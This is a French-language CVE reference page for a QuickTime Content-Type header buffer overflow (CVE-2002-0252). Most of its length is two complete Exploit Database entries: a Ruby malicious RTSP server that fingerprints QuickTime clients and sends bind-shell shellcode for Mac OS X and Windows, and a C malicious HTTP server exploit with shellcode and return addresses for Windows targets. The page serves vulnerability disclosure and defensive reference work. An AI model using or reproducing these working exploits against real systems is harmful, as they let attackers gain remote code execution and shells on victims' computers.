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Descriptions du CVE
Buffer overflow in Apple QuickTime Player 5.01 and 5.02 allows remote web servers to execute arbitrary code via a response containing a long Content-Type MIME header.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 4673
Date de publication : 2007-11-28 23h00 +00:00
Auteur : Subreption LLC.
EDB Vérifié : Yes
# Copyright (C) 2007 Subreption LLC. All rights reserved.
# Visit http://blog.subreption.com for exploit development notes.
#
# References:
# http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)
# http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)
# From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)
# http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252
# BID: https://www.securityfocus.com/bid/26549
#
# Notes:
# Payload badchars: \x00 \x09 \x0a \x0d \x20 \x22 \x25 \x26 \x27 \x2b \x2f
# \x3a \x3c \x3e \x3f \x40
#
# The example addresses and data will trigger an IDS signature easily.
# Remove them if you're not testing, and change padding sizes accordingly.
# Use the String.rand_alpha() method to generate random strings.
#
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)
#
# We would like to thank...
# Kevin Finisterre, for providing PowerPC testing environment and general
# aid in the development and proofing of this code for Mac OS X on PPC.
# HD Moore for his suggestions and Metasploit code.
#
# Distributed under the terms of the Subreption Open Source License v1.0
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
#
require 'socket'
include Socket::Constants
def String.rand_alpha(size = 16)
(1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end
module MiscUtils
def self.myputs(msg)
puts "#{$0}: #{msg}"
end
# From Metasploit Rex library:
# http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb
def self.rel_number(num, delta = 0)
s = num.to_s
case s[0, 2]
when '$+'
num = s[2 .. -1].to_i
when '$-'
num = -1 * s[2 .. -1].to_i
when '0x'
num = s.hex
else
delta = 0
end
return num + delta
end
end
# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()
MSF_OSX_X86 =
"\x31\xc0\x50\x68\xff\x02\x14\xea\x89\xe7\x50\x6a\x01\x6a\x02\x6a" +
"\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89\x47\xec" +
"\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58\xcd\x80\xff" +
"\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" +
"\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\x50\xb0\x01\xcd" +
"\x80"
# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2
MSF_WIN_X86 =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x37\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x42" +
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\x32\x42\x42\x32\x41" +
"\x41\x30\x41\x41\x58\x42\x50\x38\x42\x42\x75\x39\x79\x4b\x4c\x61" +
"\x7a\x38\x6b\x50\x4d\x68\x68\x69\x69\x4b\x4f\x4b\x4f\x59\x6f\x53" +
"\x50\x4e\x6b\x32\x4c\x44\x64\x35\x74\x6e\x6b\x30\x45\x57\x4c\x4e" +
"\x6b\x41\x6c\x64\x45\x51\x68\x46\x61\x4a\x4f\x6c\x4b\x30\x4f\x46" +
"\x78\x6c\x4b\x71\x4f\x47\x50\x33\x31\x5a\x4b\x61\x59\x6e\x6b\x50" +
"\x34\x4e\x6b\x46\x61\x78\x6e\x50\x31\x69\x50\x4e\x79\x4e\x4c\x4b" +
"\x34\x6b\x70\x52\x54\x63\x37\x38\x41\x6a\x6a\x44\x4d\x63\x31\x6b" +
"\x72\x68\x6b\x49\x64\x77\x4b\x30\x54\x41\x34\x45\x78\x52\x55\x69" +
"\x75\x6e\x6b\x73\x6f\x75\x74\x56\x61\x7a\x4b\x33\x56\x4e\x6b\x36" +
"\x6c\x72\x6b\x4c\x4b\x53\x6f\x35\x4c\x77\x71\x38\x6b\x47\x73\x44" +
"\x6c\x6e\x6b\x4b\x39\x32\x4c\x35\x74\x77\x6c\x65\x31\x69\x53\x56" +
"\x51\x49\x4b\x65\x34\x4e\x6b\x67\x33\x34\x70\x4c\x4b\x77\x30\x74" +
"\x4c\x6e\x6b\x64\x30\x47\x6c\x4c\x6d\x6e\x6b\x41\x50\x63\x38\x53" +
"\x6e\x70\x68\x4e\x6e\x62\x6e\x56\x6e\x38\x6c\x52\x70\x6b\x4f\x7a" +
"\x76\x72\x46\x61\x43\x43\x56\x52\x48\x77\x43\x64\x72\x51\x78\x71" +
"\x67\x50\x73\x70\x32\x71\x4f\x31\x44\x4b\x4f\x4a\x70\x75\x38\x78" +
"\x4b\x68\x6d\x49\x6c\x75\x6b\x46\x30\x4b\x4f\x79\x46\x53\x6f\x6f" +
"\x79\x38\x65\x73\x56\x4c\x41\x58\x6d\x64\x48\x65\x52\x72\x75\x32" +
"\x4a\x73\x32\x49\x6f\x4a\x70\x33\x58\x78\x59\x63\x39\x39\x65\x4c" +
"\x6d\x72\x77\x6b\x4f\x6e\x36\x50\x53\x52\x73\x51\x43\x70\x53\x33" +
"\x63\x71\x53\x63\x63\x61\x53\x33\x63\x4b\x4f\x5a\x70\x73\x56\x51" +
"\x78\x37\x61\x41\x4c\x50\x66\x53\x63\x6c\x49\x5a\x41\x5a\x35\x51" +
"\x78\x4d\x74\x67\x6a\x30\x70\x4b\x77\x66\x37\x79\x6f\x4b\x66\x41" +
"\x7a\x32\x30\x72\x71\x33\x65\x59\x6f\x38\x50\x70\x68\x6f\x54\x6e" +
"\x4d\x64\x6e\x38\x69\x32\x77\x4b\x4f\x4e\x36\x51\x43\x41\x45\x39" +
"\x6f\x4a\x70\x71\x78\x4a\x45\x71\x59\x6d\x56\x43\x79\x76\x37\x4b" +
"\x4f\x39\x46\x52\x70\x72\x74\x46\x34\x31\x45\x4b\x4f\x68\x50\x4e" +
"\x73\x43\x58\x6b\x57\x71\x69\x6f\x36\x53\x49\x76\x37\x6b\x4f\x38" +
"\x56\x71\x45\x6b\x4f\x48\x50\x35\x36\x70\x6a\x31\x74\x45\x36\x31" +
"\x78\x62\x43\x32\x4d\x6f\x79\x7a\x45\x71\x7a\x30\x50\x33\x69\x46" +
"\x49\x6a\x6c\x6b\x39\x6a\x47\x73\x5a\x51\x54\x6f\x79\x6d\x32\x30" +
"\x31\x59\x50\x38\x73\x4d\x7a\x59\x6e\x43\x72\x36\x4d\x69\x6e\x73" +
"\x72\x54\x6c\x6f\x63\x4c\x4d\x72\x5a\x74\x78\x4c\x6b\x6c\x6b\x6e" +
"\x4b\x35\x38\x50\x72\x6b\x4e\x4c\x73\x64\x56\x4b\x4f\x43\x45\x32" +
"\x64\x79\x6f\x7a\x76\x33\x6b\x32\x77\x62\x72\x63\x61\x33\x61\x30" +
"\x51\x30\x6a\x53\x31\x71\x41\x46\x31\x52\x75\x32\x71\x6b\x4f\x4e" +
"\x30\x70\x68\x4e\x4d\x7a\x79\x46\x65\x4a\x6e\x72\x73\x69\x6f\x58" +
"\x56\x72\x4a\x69\x6f\x69\x6f\x66\x57\x39\x6f\x58\x50\x4c\x4b\x41" +
"\x47\x6b\x4c\x6c\x43\x4f\x34\x32\x44\x4b\x4f\x68\x56\x76\x32\x4b" +
"\x4f\x4e\x30\x71\x78\x33\x4e\x6a\x78\x49\x72\x43\x43\x61\x43\x4b" +
"\x4f\x48\x56\x69\x6f\x6a\x70\x42"
module AppleOSX
class QuicktimeRedux
TARGET_MATRIX = {
# Mac OS X Leopard on PowerPC (ppc)
"7.3-Mac 10.5.1-PPC" => {
# Stack on PPC is still executable
:ret_address => 0xbfffcb0c+50,
:padding_size => 559,
# Shellcode will -likely- require changes here
:prepend_data => (
[0xdead5841].pack("N") + # r22
[0xdead5842].pack("N") + # r23
[0xdead4141].pack("N") + # r24
[0xdead4142].pack("N") + # r25
[0xdead4143].pack("N") + # r26
[0xdead4144].pack("N") + # r27
[0xdead4145].pack("N") + # r28
[0xdead4146].pack("N") + # r29
[0xdead4147].pack("N") + # r30
[0xdead4148].pack("N") + # r31
[0xdead4150].pack("N") + #
[0xdead4151].pack("N") + #
[0xdead4152].pack("N") + # at $sp+0
[0xdead4153].pack("N") # at $sp+4
),
:append_data => (""),
:shellcode => ( "\x69" * 120 )
},
# Mac OS X Leopard on IA32 (x86) build 9B18
"7.3-Mac 10.5.1-IA32" => {
# Return-to-dyld stub is not reliable unless the machine
# hasn't randomized the dyld base address.
:ret_address => 0xdeadbeef,
:padding_size => 291,
:prepend_data => (
[0x11223344].pack("V") + # ebx
[0x41424142].pack("V") + # esi
[0x31337666].pack("V") + # edi
[0xdefacedd].pack("V") # ebp
),
:append_data => (
[0xa0a7e44a].pack("V") + # to dyld_stub_exit
[0xbffffaa3].pack("V") # address to /bin/bash
),
:shellcode => (
"screencapture -S ~/Desktop/US.png; exit;" +
("\x90" * 130) + MSF_OSX_X86
)
},
# Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)
# Apparently, it advertises 10.4.9 instead of 10.4.11
"7.3-Mac 10.4.9-IA32" => {
# Return-to-dyld stub works reliably on Tiger
# 0xa0be2280 for dyld_stub_system
:ret_address => 0xa0be2280,
:padding_size => 291,
:prepend_data => (
[0x917f1413].pack("V") + # ebx
[0xffffeae6].pack("V") + # esi
[0x14533050].pack("V") + # edi
[0xbfffd27c].pack("V") # ebp
),
# exit() stub is problematic with some atexit code
# because of corrupted frames, we use abort() instead.
# A /bin/bash string (from env) is usually at 0xbffffc23
# when running under gdb, or 0xbffffe5c if started
# via dock. If started from Terminal, it's at 0xbffffc3e.
:append_data => (
[0xa0815587].pack("V") + # to dyld_stub_abort
[0xbffffc3e].pack("V") # address system() command
),
# NOP sled + Metasploit shellcode + NOP sled + int3
:shellcode => (
("\x90" * 140) + MSF_OSX_X86 + ("\x90" * 30) + "\xcc"
)
},
# Mac OS X Tiger on PowerPC (PPC)
# It also advertises 10.4.9 instead of 10.4.11
"7.3-Mac 10.4.9-PPC" => {
# Stub address for system() contains a null byte.
# system() address contains filtered char.
:ret_address => 0xdeadbeef,
:padding_size => 559,
:prepend_data => (
[0xdead5841].pack("N") + # r22
[0xdead5842].pack("N") + # r23
[0xdead4141].pack("N") + # r24
[0xdead4142].pack("N") + # r25
[0xdead4143].pack("N") + # r26
[0xdead4144].pack("N") + # r27
[0xdead4145].pack("N") + # r28
[0xdead4146].pack("N") + # r29
[0xdead4147].pack("N") + # r30
[0xdead4148].pack("N") + # r31
String.rand_alpha(16)
),
:append_data => (
[0x942bce80].pack("N") + # to dyld_stub_abort
[0x58585858].pack("N")
),
:shellcode => (
"\x69" * 120
)
},
# Microsoft Windows targets
# 7.3 on XP SP2, based on the original Metasploit module by MC
# This one is elegant and reliable :)
# (uses address from QuickTimeStreaming.qtx version 7.3.0.70)
"7.3-Windows NT 5.1Service Pack 2-IA32" => {
# pop esi; pop ebx; ret
:ret_address => 0x67644297,
:padding_size => 991+MSF_WIN_X86.size,
:prepend_data => (
"\xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +
"\x90\x90"
),
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
:shellcode => MSF_WIN_X86
},
# 7.3 on Vista
# We are not including it yet, feel free to play around
"7.3-Windows NT 6.0-IA32" => {
:ret_address => 0xdeadbeef,
:padding_size => 991+MSF_WIN_X86.size,
:prepend_data => (""),
:append_data => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
:shellcode => MSF_WIN_X86
}
}
# Generates headers for a Quicktime RTSP response, and injects
# the payload into the Content-Type header (including the padding).
def make_header(body_length, payload)
"RTSP/1.0 200 OK\r\n" +
"CSeq: 1\r\n" +
"Content-Base: rtsp://0.0.0.0/#{@mpfile}\r\n" +
"Content-Type: #{payload}\r\n" +
"Content-Length: #{body_length}\r\n" +
"\r\n"
end
# Generates a body for a Quicktime RTSP response
def make_body
rand_str = String.rand_alpha(rand(10)+1)
rand_nam = String.rand_alpha(rand(20)+1)
"v=0\r\n" +
"o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0\r\n" +
"s=MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" +
"i=#{@mpfile}\r\n" +
"t=0 0\r\n" +
"a=tool:#{rand_nam}\r\n" +
"a=type:broadcast\r\n" +
"a=control:*\r\n" +
"a=range:npt=0-213.077\r\n" +
"a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}\r\n" +
"a=x-qt-text-inf:#{@mpfile}\r\n" +
"m=audio 0 RTP/AVP 14\r\n" +
"c=IN IP4 0.0.0.0\r\n" +
"a=control:track1\r\n"
end
# Construct a payload without filtered characters, for the target provided.
# The information is extracted from the target matrix variable.
def build_payload(target)
target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"
selected = TARGET_MATRIX[target_name]
unless selected
MiscUtils::myputs "Target not available, check User-Agent format!"
MiscUtils::myputs target_name
return ''
end
MiscUtils::myputs "Building payload for '#{target_name}'..."
MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +
"shellcode: #{selected[:shellcode].size} bytes."
payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)
unless target[:os] =~ /Windows/
payload << selected[:shellcode]
payload << selected[:prepend_data]
# Handle big-endian / little-endian
if target[:arch] == "PPC"
payload << [selected[:ret_address]].pack("N")
else
payload << [selected[:ret_address]].pack("V")
end
else
payload << selected[:prepend_data]
payload << [selected[:ret_address]].pack("V")
payload << selected[:shellcode]
end
# Appended data comes always at end of payload
payload << selected[:append_data]
MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"
return payload
end
# Threaded 'listener': waits until a Quicktime client connects and fingerprints
# its version, architecture and operating system version. Builds a response with
# the correct payload and sends it back to the client.
def exploit
loop do
socket = @server.accept
Thread.start do
s = socket
port = s.peeraddr[1]
name = s.peeraddr[2]
addr = s.peeraddr[3]
MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"
request = s.recv(1024)
# Verify it's Quicktime and not some other application
# ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)
if request =~ /User-Agent: QuickTime/i
target = Hash.new
if request =~ /Windows/
qtver = request.scan(/\(qtver=(.+?);os=(.+?)\)\r\n/).flatten
target[:version] = qtver[0]
target[:arch] = "IA32"
target[:os] = qtver[1]
else
qtver = request.scan(/\(qtver=(.+?);cpu=(.+?);os=(.+?)\)\r\n/).flatten
target[:version] = qtver[0]
target[:arch] = qtver[1]
target[:os] = qtver[2]
end
MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"
# Build payload and the full response body
begin
payload = build_payload(target)
body = make_body()
header = make_header(body.size, payload)
resp = (header+body)
rescue
raise "Something happened trying to build a response!"
end
# Send it to the client
s.write(resp)
MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."
else
# It's not a Quicktime client
MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"
s.write(String.rand_alpha(rand(500)))
end
end
end
end
# Initialize the exploit with the local listening port, server socket, etc.
def initialize(rtsp_port = 554)
@server = TCPServer.new("0.0.0.0", rtsp_port)
@mpfile = String.rand_alpha(rand(12)+1) + '.mp3'
rtsp_addrs = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')
MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"
MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"
end
end
end
trap("INT") do
puts "Exiting!"
exit
end
puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."
test_run = AppleOSX::QuicktimeRedux.new()
test_run.exploit
# milw0rm.com [2007-11-29]
Exploit Database EDB-ID : 21286
Date de publication : 2002-02-07 23h00 +00:00
Auteur : UNYUN
EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/4064/info
Apple QuickTime is a freely available media player. It runs on a number of platforms including MacOS and Windows 9x/ME/NT/2000/XP operating systems.
Apple QuickTime For Windows does not perform sufficient bounds checking of the "Content-Type" header. This issue may be exploited if a server responds with a maliciously crafted "Content-Type" header to a HTTP request for a media file. A "Content-Type" header of 500+ characters is sufficient to trigger this condition, causing stack variables to be overwritten in the process.
This issue may allow a malicious server to execute arbitrary attacker-supplied code on the host of a client who makes a request for a media file. This may result in a remote compromise, possibly with elevated privileges (depending on the environment). This issue may also allow a hostile server to introduce malicious code into a system running the vulnerable software.
Exploitation of this issue requires that a user makes a request to the malicious server. However, this may also be exploited by a malicious host that is serving streaming media content to the client.
It should be noted that the QuickTime player broadcasts information about the version and the operating environment via the "User-Agent" header of the HTTP request, which may aid a malicious server in successfully exploiting this issue.
This vulnerability was reported for Japanese versions of Apple QuickTime Player, running on Japanese versions of the Microsoft Operating System. It is not known if other versions and environments are affected.
/*======================================================================
Apple QuickTimePlayer 5.02/5.01 Exploit
for Windows XP Home edition
Windows2000 Professional (Service Pack 2)
Windows98 Second Edition
The Shadow Penguin Security (http://www.shadowpenguin.org)
Written by UNYUN (unyun@shadowpenguin.org)
=======================================================================
*/
#include <windows.h>
#include <windowsx.h>
#include <stdio.h>
#include <winsock.h>
#define SERVICE_PORT 2222
#define MAXBUF 4096
#define TGTBUFSIZE 500
#define NOP 0x90
#define RETOFS 456
#define CODEOFS 470
#define RETADR_2000pro 0x77e0af64
#define RETADR_XPhome 0x77e4fb71
#define RETADR_98SE 0xbfb92995
#define UA_2000PRO "Windows NT 5.0Service Pack 2"
#define UA_XPHOME "Windows NT 5.1"
#define UA_98SE "Windows 98 A "
#define ANSWER \
"HTTP/1.1 200 OK\r\n"\
"Date: Wed, 06 Feb 2002 06:56:30 GMT\r\n"\
"Server: Apache/1.3.19\r\n"\
"Last-Modified: Tue, 15 May 2001 13:37:51 GMT\r\n"\
"ETag: \"1e001d-7b5-3b01312f\"\r\n"\
"Accept-Ranges: bytes\r\n"\
"Content-Length: 1973\r\n"\
"Content-Type: %s\r\n\r\n"
static unsigned char egg_2000pro[512]={
0xB8,0xA5,0xFA,0xE1,0x77,0x33,0xDB,0xB3,
0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD
};
static unsigned char egg_XPhome[512]={
0xB8,0xe3,0x02,0xd4,0x77,0x33,0xDB,0xB3,
0x04,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD
};
static unsigned char egg_98se[512]={
0xB8,0x2c,0x23,0xf5,0xbf,0x33,0xDB,0xB3,
0x05,0x53,0x53,0xFF,0xD0,0x90,0xEB,0xFD
};
int main(int argc,char *argv[])
{
WSADATA wsa;
SOCKADDR_IN sAddr,clientAddr;
SOCKET sock_listen,sock;
int nClientAddrLen=sizeof(clientAddr);
static char packetbuf[MAXBUF*2];
static char buf[MAXBUF],recvbuf[MAXBUF];
int r;
unsigned int eip;
char *p,*q,*qtver,*os;
unsigned char *egg;
// Create socket and wait connection
WSAStartup(MAKEWORD(2,0),&wsa);
sock_listen=socket(AF_INET,SOCK_STREAM,0);
sAddr.sin_family = AF_INET;
sAddr.sin_addr.s_addr = htonl(INADDR_ANY);
sAddr.sin_port = htons((u_short)(SERVICE_PORT));
bind(sock_listen,(SOCKADDR *)&sAddr,sizeof(sAddr));
listen(sock_listen,1);
printf("Waiting connection (Port %d)...\n",SERVICE_PORT);
sock=accept(sock_listen,(LPSOCKADDR)&clientAddr,&nClientAddrLen);
printf("Accepted [from %s].\n",inet_ntoa(clientAddr.sin_addr));
// Recv request
if ((r=recv(sock,recvbuf,sizeof(recvbuf)-1,0))==SOCKET_ERROR){
printf("Can not recv packet\n");
return(0);
}
recvbuf[r]='\0';
printf("---request------------------------------\n");
printf("%s\n",recvbuf);
printf("----------------------------------------\n");
if ((p=strstr(recvbuf,"User-Agent:"))==NULL){
printf("Can not select\n");
printf("%s\n",recvbuf);
exit(1);
}
if ((q=strchr(p,'\r'))!=NULL) *q='\0';
if ((qtver=strstr(p,"qtver="))==NULL){
printf("Version is not written in User-Agent\n");
printf("%s\n",p);
exit(1);
}
qtver+=6;
if ((q=strchr(qtver,';'))!=NULL) *q='\0';
printf("Client version = '%s'\n",qtver);
q++;
if ((p=strchr(q,')'))!=NULL) *p='\0';
if ((os=strstr(q,"os="))==NULL){
printf("OS name is not written in User-Agent\n");
printf("%s\n",q);
exit(1);
}
os+=3;
printf("Client OS = '%s'\n",os);
if (!strcmp(os,UA_XPHOME)){
eip=RETADR_XPhome;
egg=egg_XPhome;
printf("Target = WindowsXp Home\n");
}else if (!strcmp(os,UA_2000PRO)){
eip=RETADR_2000pro;
egg=egg_2000pro;
printf("Target = Windows2000 Professional (SP2)\n");
}else if (!strcmp(os,UA_98SE)){
eip=RETADR_98SE;
egg=egg_98se;
printf("Target = Windows98 Second Edition\n");
}else{
eip=RETADR_2000pro;
egg=egg_2000pro;
printf("Target = Unknown.\n");
}
// Make exploit
memset(buf,NOP,sizeof(buf));
buf[RETOFS ]=eip&0xff;
buf[RETOFS+1]=(eip>>8)&0xff;
buf[RETOFS+2]=(eip>>16)&0xff;
buf[RETOFS+3]=(eip>>24)&0xff;
strncpy(buf+CODEOFS,egg,strlen(egg));
buf[TGTBUFSIZE]='\0';
// Send exploit
sprintf(packetbuf,ANSWER,buf);
if (send(sock,packetbuf,strlen(packetbuf),0)==SOCKET_ERROR){
printf("Can not send packet\n");
return(0);
}
Sleep(1000);
closesocket(sock);
printf("Done\n");
return(0);
}
Products Mentioned
Configuraton 0
Apple>>Quicktime >> Version 5.0.1
- Apple>>Quicktime >> Version 5.0.1 (Open CPE detail)
Apple>>Quicktime >> Version 5.0.2
- Apple>>Quicktime >> Version 5.0.2 (Open CPE detail)
- Apple>>Quicktime >> Version 5.0.2 (Open CPE detail)
